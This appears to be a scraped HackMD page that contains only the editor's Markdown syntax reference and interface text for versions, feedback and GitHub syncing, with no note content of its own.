    - Unordered List
    • Unordered List
    1. Ordered List
    1. Ordered List
    - [ ] Todo List
    • Todo List
    > Blockquote
    Blockquote
    **Bold font** Bold font
    *Italics font* Italics font
    ~~Strikethrough~~ Strikethrough
    19^th^ 19th
    H~2~O H2O
    ++Inserted text++ Inserted text
    ==Marked text== Marked text
    [link text](https:// "title") Link
    ![image alt](https:// "title") Image
    `Code` Code 在筆記中貼入程式碼
    ```javascript
    var i = 0;
    ```
    var i = 0;
    :smile: :smile: Emoji list
    {%youtube youtube_id %} Externals
    $L^aT_eX$ LaTeX
    :::info
    This is a alert area.
    :::

    This is a alert area.

    Versions and GitHub Sync
    Get Full History Access

    • Edit version name
    • Delete

    revision author avatar     named on  

    More Less

    Note content is identical to the latest version.
    Compare
      Choose a version
      No search result
      Version not found
    Sign in to link this note to GitHub
    Learn more
    This note is not linked with GitHub
     

    Feedback

    Submission failed, please try again

    Thanks for your support.

    On a scale of 0-10, how likely is it that you would recommend HackMD to your friends, family or business associates?

    Please give us some advice and help us improve HackMD.

     

    Thanks for your feedback

    Remove version name

    Do you want to remove this version name and description?

    Transfer ownership

    Transfer to
      Warning: is a public team. If you transfer note to this team, everyone on the web can find and read this note.

        Link with GitHub

        Please authorize HackMD on GitHub
        • Please sign in to GitHub and install the HackMD app on your GitHub repo.
        • HackMD links with GitHub through a GitHub App. You can choose which repo to install our App.
        Learn more  Sign in to GitHub

        Push the note to GitHub Push to GitHub Pull a file from GitHub

          Authorize again
         

        Choose which file to push to

        Select repo
        Refresh Authorize more repos
        Select branch
        Select file
        Select branch
        Choose version(s) to push
        • Save a new version and push
        • Choose from existing versions
        Include title and tags
        Available push count

        Pull from GitHub

         
        File from GitHub
        File from HackMD

        GitHub Link Settings

        File linked

        Linked by
        File path
        Last synced branch
        Available push count

        Danger Zone

        Unlink
        You will no longer receive notification when GitHub file changes after unlink.

        Syncing

        Push failed

        Push successfully